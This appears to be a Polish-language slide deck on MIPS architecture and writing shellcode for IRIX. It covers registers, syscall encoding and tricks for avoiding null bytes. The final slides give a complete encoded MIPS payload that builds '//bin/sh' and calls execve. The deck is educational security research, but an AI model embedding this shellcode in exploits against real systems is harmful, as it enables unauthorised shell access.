Shellcody a architektura MIPS – na systemach IRIX

- Adam Zabrocki
- http://pi3.shellcode.pl
- pi3@itsec.pl

Shellcody a architektura MIPS – na systemach IRIX

- Architektura MIPS:
  - **MIPS** – **M**icroprocessor without **I**nterlocked **P**iped **S**tages:
    - RISC – Rationalized Instruction Set Computers (Reduced Instruction Set Computers)
  - Szybkość i potokowość
  - Slowo kodowe w CISC'ach a RISC'ach
  - Big- czy little-endian ???

Shellcody a architektura MIPS – na systemach IRIX

- R12000:
  - Big-endian
  - Superskalarność i superpotokowość (fazy)
  - Wydajność cyklu na instrukcje – około 1.5
  - Wszystkie sloty zapełnione – 20%
  - Hazard...
  - Opóźnienie skokowe

Shellcody a architektura MIPS – na systemach IRIX

- Instrukcje MIPS'owe:
  - Długość słowa kodowego a dekodery
  - Podział instrukcji:
    - Instrukcje typu R (np. add $6,$5,$4)
    - Instrukcje typu I (np. addi $6,$5,4)
    - Instrukcje typu J (np. j label_pi3)

Shellcody a architektura MIPS – na systemach IRIX

- Instrukcje MIPS'owe:
  - Fizyczny „podział" instrukcji:

Bity 31-26	Bity 25-21	Bity 20-6	Bity 5-0
Op	Sub-op	Data	Subcode

  - Instrukcje arytmetyczne (andi $5,$4,0xffff == $5 = $4 & 0xffff)

Shellcody a architektura MIPS – na systemach IRIX

- MIPS – rejestry:
  - 5 bitowe pole sub-op == 2^5 = 32 rejestry:

Rejestr:	Symboliczna nazwa:	Odpowiednik x86:
0	$zero	brak
1	$at	brak
2-3	$v0-v1	%eax oraz %edx
4-7	$a0-$a3	%eax,%ebx,%ecx, %edx,%esi,%edi (%ebp)
8-15 24-25	$t0-$t9	%eax,%eax,%ebx, %ecx,%edx,%esi, %edi
16-23	$s0-$s7	Jak wyzej

Rejestr:	Symboliczna nazwa:	Odpowiednik x86:
26-27	$k0-$k1	brak
28	$gp	brak
29	$sp	$esp
30	$fp lub $s8	$ebp
31	$ra	brak

Shellcody a architektura MIPS – na systemach IRIX

Wyjątki oraz syscall’e:

- User mode, kernel mode, supervisor mode
- Przełączanie – „exceptions” (wyjątki)
- Kernel space exception handler...
- Syscall exceptions – słowo kodowe (instrukcja syscall):

syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100

Shellcody a architektura MIPS – na systemach IRIX

- Przykładowy syscall:

int execve (const char *filename, char *const argv [], char *const envp[]);

a0 = (const char *) filename
a1 = (chat * const) argv[]
a2 = (char * const) envp[]
v0 = SYS_execve = 1059 = 0x0423

Shellcody a architektura MIPS – na systemach IRIX

- Numery syscalli w IRIX'ie:

```
 --- CUT ---
...
...
#define SYSVoffset      1000  /* to offset us from 4.3BSD calls, when desired */

#define SYS_syscall     (0+SYSVoffset)
#define SYS_exit        (1+SYSVoffset)
...
...
--- CUT ---
```

Shellcody a architektura MIPS – na systemach IRIX

- IRIX a dup2():
  - Opcja manipulowania deskryptorami F_DUPFD
  - Pseudokod:

    close(dest2);

    fcntl (dest1, F_DUPFD, dest2);
  - syscall'e fcntl() oraz close():

```
> cat /usr/include/sys.s | grep fcntl
#define SYS_fcntl       (62+SYSVoffset)
> cat /usr/include/sys.s | grep close
#define SYS_close       (6+SYSVoffset)
>
```

Shellcody a architektura MIPS – na systemach IRIX

Sztuczki:

- Pobieranie adresu:

```
sw   $29,($29)
lw   $4,($29)
*********
sw      source, offset          *((int *) offset) = source
lw      dest, offset             dest = *((int *) (offset))
*********
> gdb –q ./test
(gdb) disass main
…
0x10001388 <main+72>:   sw      sp,0(sp)
0x1000138c <main+76>:   lw      a0,0(sp)
…
(gdb) x/2x 0x10001388
0x10001388 <main+72>:   0xafbd0000      0x8fa40000
```

Shellcody a architektura MIPS – na systemach IRIX

Sztuczki:

- Rozwiązanie problemu ($29 (sp) + <jakaś wartość>):

```
sw   $29,444($29)
lw   $4,444($29)

> gdb –q ./test
(gdb) disass main
...
...
0x100013a4 <main+100>:  sw      sp,444(sp)
0x100013a8 <main+104>:  lw      a0,444(sp)
…
…
(gdb) x/2x 0x100013a4
0x100013a4 <main+100>:  0xafbd01bc      0x8fa401bc
```

Shellcody a architektura MIPS – na systemach IRIX

Sztuczki:

- Pobieranie adresu – alternatywa:

```
 li      t8, -0x7350        /* load t8 with -0x7350 (leet) */
foo: bltzal  t8, foo         /* branch with $ra stored if t8 < 0 */
        slti    t8, zero, -1        /* t8 = 0 (see below) */
bar:

***********
bltzal  source, offset          if (source < 0) offset ()
slti    dest, source, value      signed: dest = (source < value) ? 1 : 0
***********
```

Shellcody a architektura MIPS – na systemach IRIX

Sztuczki:

- Osiąganie i kopiowanie zera:

(zero)

```
sub $9,$9,$9
```

(kopiowanie)

```
slti    rej, zero, -1
```

- Kopiowanie jedynki:

```
slti    rej, zero, 0x0123
```

- Kopiowanie małych wartości - nie większe niż 0xffff (65535):

```
andi    rej, source, 0xffff
```

Shellcody a architektura MIPS – na systemach IRIX

Przykład:

```
/*
 * This is shellcode for IRIX - MIPS processors.
 * Tested on R12000 processor with system IRIX64 6.5.26m
 *
 * --
 * Best regards pi3 (pi3ki31ny) - Adam Zabrocki
 * http://pi3.hack.pl
 *
 */

#include <stdio.h>

unsigned long int shellcode[] = {
                        0x01294822,     /* sub     $9,$9,$9                */
                        0x23bdfe44,     /* add     $29,$29,-444            */
                        0xafa901bc,     /* sw      $9,444($29)             */
                        0x23bd01bc,     /* add     $29,$29,444             */
                        0x23bdfffc,     /* add     $29,$29,-4              */
                        0x3c082f2f,     /* lui     $8,0x2f2f               */
                        0x35087368,     /* ori     $8,$8,0x7368            */
                        0x23bdfe44,     /* addi    $29,$29,-444            */
                        0xafa801bc,     /* sw      $8,444($29)             */
                        0x23bd01bc,     /* addi    $29,$29,444             */
                        0x23bdfffc,     /* addi    $29,$29,-4              */
                        0x3c082f62,     /* lui     $8,0x2f62               */
```

Shellcody a architektura MIPS – na systemach IRIX

Przykład:

```
0x3508696e,     /* ori     $8,$8,0x696e                */
0x23bdfe44,     /* addi    $29,$29,-444                */
0xafa801bc,     /* sw      $8,444($29)                 */
0x23bd01bc,     /* addi    $29,$29,444                 */
0x23bdfffc,     /* addi    $29,$29,-4   */
0xafbd01bc,     /* sw      $29,444($29)                */
0x8fa401bc,     /* lw      $4,444($29)                 */
0x208401cc,     /* addi    $4,$4,460                   */
0x2084fe38,     /* addi    $4,$4,-456                  */
0x01294822,     /* sub     $9,$9,$9                    */
0x23bdfe44,     /* addi    $29,$29,-444                */
0xafa901bc,     /* sw      $9,444($29)                 */
0x23bd01bc,     /* addi    $29,$29,444                 */
0x23bdfe44,     /* addi    $29,$29,-444                */
0xafa401b8,     /* sw      $4,440($29)                 */
0xafbd01b4,     /* sw      $29,436($29)                */
0x8fa501b4,     /* lw      $5,436($29)                 */
0x20a501b8,     /* addi    $5,$5,440                   */
0x01294822,     /* sub     $9,$9,$9                    */
0x3126ffff,     /* andi    $6,$9,0xffff   */
0x24020423,     /* li      $2,1059        */
0x0101010c,     /* syscall                */
};
```

Shellcody a architektura MIPS – na systemach IRIX

Referencje:

4) MIPSPro Assembly Language Programmer's Guide - Volume 1/2
Document Number 007-2418-001
http://www.mips.com/ and http://www.sgi.com/

- Phrack Magazine Volume 0xa Issue 0x38
WRITING MIPS/IRIX SHELLCODE
http://www.phrack.org/archives/56/p56-0x16
- http://google.com :)
- http://pi3.shellcode.pl

Shellcody a architektura MIPS – na systemach IRIX

- Dziękuję za uwagę

- http://pi3.shellcode.pl
- pi3@itsec.pl